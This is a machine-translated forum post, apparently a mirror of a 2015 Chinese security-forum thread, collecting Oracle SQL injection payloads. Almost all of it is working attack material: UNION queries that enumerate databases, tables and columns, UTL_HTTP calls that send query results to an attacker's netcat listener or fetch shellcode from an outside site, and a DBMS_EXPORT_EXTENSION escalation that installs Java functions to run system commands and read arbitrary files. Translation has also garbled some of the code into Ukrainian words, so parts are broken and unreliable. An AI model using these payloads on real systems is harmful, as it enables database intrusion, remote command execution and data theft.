Ця стаття є дзеркальною статтею машинного перекладу, будь ласка, натисніть тут, щоб перейти до оригінальної статті.

Вид: 11931|Відповідь: 0

[Безпечне спілкування] Нотатки про SQL ін'єкції Oracle

[Копіювати посилання]
Опубліковано 24.01.2015 12:58:17 | | |
Цей допис востаннє відредаговано test 2015-1-24 13:01

Коментар: --
Виконання кількох речень не підтримується, а федеративні запити підтримуються
Назви баз даних, таблиці та колонки пишуться з великої літери.


Довжина(поле)
ascii(substr(поле, N, 1))


та (вибрати count(*) з дуального)>0 — Визначити, чи є це оракулом

Порядок за n--

та 1=2 об'єднання вибрати нуль, null,.....,null з dual — замінити null на N або 'N'

та 1=2 об'єднання select null, (sql-оператор) ,.....,null з dual -- зміна на (sql-оператор) у 'N'

та (вибрати count(*) з all_objects, де object_name='UTL_HTTP')>0 — Визначити, чи підтримується UTL_HTTP (експортна IP відома)

та UTL_HTTP.request('http://LocalIP:port'|| (SQL-оператор)) =1-- Дистанційно надсилати повідомлення локальному, локальному прослуховуванню nc -vv -l -p 1234


SQL-оператори
Виберіть банер із sys.v_$version, де rownum=1 для запиту до версії оракула
виберіть член із v$logfile, де rownum=1 Запит до шляху до файлу журналу (Windows або Linux)
виберіть utl_inaddr.get_host_address з dual, щоб запитати IP до прослуховування бази даних
Виберіть instance_name з v$instance для запиту до sid
виберіть назву з v$database Запит до поточної назви бази даних
Виберіть sys_context ('userenv','current_user') серед користувачів бази даних подвійних запитів
виберіть * з session_roles, де rownum=1 для запиту щодо поточних прав доступу користувача
виберіть * з session_roles, де rownum=1 [та роль<>'ім' першого дозволу']



виберіть table_name з user_tables, де rownum=1 Перший сегмент таблиці поточної бази даних
виберіть table_name||','|| tablespace_name з user_tables, де rownum=1 Перший сегмент таблиці, база даних (для верифікації це може бути не v$database)
виберіть table_name з user_tables, де rownum=1 та table_name<>'сегмент першої таблиці' Другий сегмент таблиці поточної бази даних

виберіть column_name з user_tab_columns, де rownum=1 та table_name='Сегмент таблиці' Перше поле, що відповідає назві таблиці
виберіть column_name з user_tab_columns, де rownum=1 та table_name='Сегмент таблиці' та column_name<>'Перше поле' Друге поле відповідає назві таблиці

виберіть поле з сегмента таблиці, де rownum=1 порушує вміст першого рядка
виберіть поле з сегмента таблиці, де rownum=1 та поле <> 'вміст першого рядка' відкриває вміст другого рядка


Крос-бібліотека
виберіть власника з all_tables, де rownum=1 запитує першу назву бази даних
виберіть власника з all_tables, де rownum=1 та owner<> 'First Database name' для запиту до другої назви бази даних

виберіть table_name з all_tables, де rownum=1 та owner='назва бази даних' Запит до імені першої таблиці відповідної бази даних
Виберіть table_name з all_tables, де rownum=1 і owner='ім' та table_name<>'first table name' для запиту до другої назви таблиці відповідної бази даних

виберіть column_name з all_tab_columns, де rownum=1 та owner='назва бази' та table_name='сегмент таблиці' Перше поле, що відповідає назві таблиці
виберіть column_name з all_tab_columns, де rownum=1 та owner='ім' і table_name='сегмент таблиці' та column_name<>'перше поле' Друге поле відповідає назві таблиці

Виберіть поле з бази даних. сегмент таблиці, де rownum=1 порушує зміст першого рядка
Виберіть поле з бази даних. Сегмент таблиці, де rownum=1 і поле <> 'First Line Content', порушує вміст другого рядка





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); багатооператорний END; --','SYS',0,'1',0)--

Якщо 'є escape, використовується chr().

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Мультиоператор || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--

Якщо кілька речень занадто довгі, ви можете записати твердження у файл сайту і використати utl_http.request для її отримання.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





Створити JAVA-пакет SecTest
runCMD використовується для виконання системних команд
та '1'<>'a'|| (виберіть SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); ВИКОНАТИ НЕГАЙНО''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ПОЧАТИ ВИКОНАТИ НЕГАЙНО'створити або замінити та компілювати java-вихідний код під назвою "SecTest" як імпорт java.io.*; публічний клас SecTest розширює Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); Струнний stemp,str=""; while(stemp=myReader.readLine()))!=null) str+=stemp+"\n"; myReader.close(); Зворотна сила; }catch(Виняток e){return e.toString(); }}}''''; КІНЕЦЬ; ''; КІНЕЦЬ; --','SYS',0,'1',0) з dual)--

readFile використовується для читання файлу
та '1'<>'a'|| (виберіть SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); ВИКОНАТИ НЕГАЙНО''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ПОЧАТИ ВИКОНАТИ НЕГАЙНО'створити або замінити та компілювати java-вихідний код під назвою "SecTest" як імпорт java.io.*; публічний клас SecTest розширює Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); Струнний stemp,str=""; while(stemp=myReader.readLine()))!=null) str+=stemp+"\n"; myReader.close(); Зворотна сила; }catch(Виняток e){return e.toString(); }}}''''; КІНЕЦЬ; ''; КІНЕЦЬ; --','SYS',0,'1',0) з dual)--



Надайте дозволи на Java
та '1'<>'a'|| (виберіть SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); ВИКОНАТИ НЕГАЙНО «ОГОЛОСИТИ ПРАГМУ AUTONOMOUS_TRANSACTION»; ПОЧАТИ ВИКОНУВАТИ НЕГАЙНО '''почати dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<всі ФАЙЛИ>>'''''''',''''''''виконати''''''''); кінець; ''''; КІНЕЦЬ; ''; КІНЕЦЬ; --','SYS',0,'1',0) з dual)--



Створити функцію
Функція SecRunCMD
та '1'<>'a'|| (виберіть SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); ВИКОНАТИ НЕГАЙНО «ОГОЛОСИТИ ПРАГМУ AUTONOMOUS_TRANSACTION»; ПОЧАТОК ВИКОНАННЯ НЕГАЙНО '''create or replace function SecRunCMD(p_cmd in varchar2) поверніть varchar2 як мову java name''''''''SecTest.runCMD(java.lang.String) return String'''''''' ; ''''; КІНЕЦЬ; ''; КІНЕЦЬ; --','SYS',0,'1',0) з dual)--

Функція SecReadFile
та '1'<>'a'|| (виберіть SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); ВИКОНАТИ НЕГАЙНО «ОГОЛОСИТИ ПРАГМУ AUTONOMOUS_TRANSACTION»; ПОЧАТИ ВИКОНАТИ НЕГАЙНО '''створити або замінити функцію SecReadFile(ім'я файлу в varchar2) повернути varchar2 як java ім'я мови''''''''SecTest.readFile(java.lang.String) return String' '''''''; ''''; КІНЕЦЬ; ''; КІНЕЦЬ; --','SYS',0,'1',0) з dual)--



Надати дозвіл на виконання публічної функції
SecRunCMD отримує дозволи
та '1'<>'a'|| (виберіть SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); ВИКОНАТИ НЕГАЙНО «ОГОЛОСИТИ ПРАГМУ AUTONOMOUS_TRANSACTION»; ПОЧАТИ НЕГАЙНО ВИКОНУВАТИ «НАДАННЯ ВСІХ НА SecRunCMD для громадськості»; КІНЕЦЬ; ''; КІНЕЦЬ; --','SYS',0,'1',0) з dual)--

SecReadFile
та '1'<>'a'|| (виберіть SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); ВИКОНАТИ НЕГАЙНО «ОГОЛОСИТИ ПРАГМУ AUTONOMOUS_TRANSACTION»; ПОЧАТИ ВИКОНУВАТИ НЕГАЙНО '''надати все на SecReadFile для публіки'; КІНЕЦЬ; ''; КІНЕЦЬ; --','SYS',0,'1',0) з dual)--



Визначає, чи була функція успішно створена
та (вибрати count(*) з all_objects, де object_name='SECRUNCMD')>0--
та (вибрати count(*) з all_objects, де object_name='SECREADFILE')>0--



Виконати команду
та '1'<>(вибрана система. SecRunCMD ('Виконати команду') з duual)--
та '1'<>(вибрана система. SecReadFile('фізична адреса файлу') з dual)--
або
та 1=2 об'єднання вибирає нуль,...,систему. SecRunCMD('виконати команду'),...,null з dual--
та 1=2 об'єднання вибирає нуль,...,систему. SecReadFile('фізична адреса файлу'),...,null з dual--
або
та '1'<>(виберіть UTL_HTTP.request('http://LocalIP:port'|| ЗАМІНИТИ(ЗАМІНИТИ(SYS. SecRunCMD('Виконати команду'),',',''),'\n','')) з dual)--
та '1'<>(виберіть UTL_HTTP.request('http://LocalIP:port'|| ЗАМІНИТИ(ЗАМІНИТИ(SYS. SecReadFile('Фізична адреса файлу'),',',' ','\n','' ')) з dual)--



Функція видалення
та '1'<>'a'|| (виберіть SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); ВИКОНАТИ НЕГАЙНО «ОГОЛОСИТИ ПРАГМУ AUTONOMOUS_TRANSACTION»; ПОЧАТИ ВИКОНАННЯ НЕГАЙНОЇ '''функції скидання SecRunCMD'; КІНЕЦЬ; ''; КІНЕЦЬ; --','SYS',0,'1',0) з dual)--
та '1'<>'a'|| (виберіть SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); ВИКОНАТИ НЕГАЙНО «ОГОЛОСИТИ ПРАГМУ AUTONOMOUS_TRANSACTION»; ПОЧАТИ ВИКОНАННЯ НЕГАЙНОЇ '''функції дропу SecReadFile''''; КІНЕЦЬ; ''; КІНЕЦЬ; --','SYS',0,'1',0) з dual)--




Попередній:Чи можу я подати заявку на модерацію, які умови потрібні?
Наступний:ORALCE отримує ім'я хоста та IP-адресу
Застереження:
Усе програмне забезпечення, програмні матеріали або статті, опубліковані Code Farmer Network, призначені лише для навчання та досліджень; Вищезазначений контент не повинен використовуватися в комерційних чи незаконних цілях, інакше користувачі несуть усі наслідки. Інформація на цьому сайті надходить з Інтернету, і спори щодо авторських прав не мають до цього сайту. Ви повинні повністю видалити вищезазначений контент зі свого комп'ютера протягом 24 годин після завантаження. Якщо вам подобається програма, будь ласка, підтримуйте справжнє програмне забезпечення, купуйте реєстрацію та отримайте кращі справжні послуги. Якщо є будь-яке порушення, будь ласка, зв'яжіться з нами електронною поштою.

Mail To:help@itsvse.com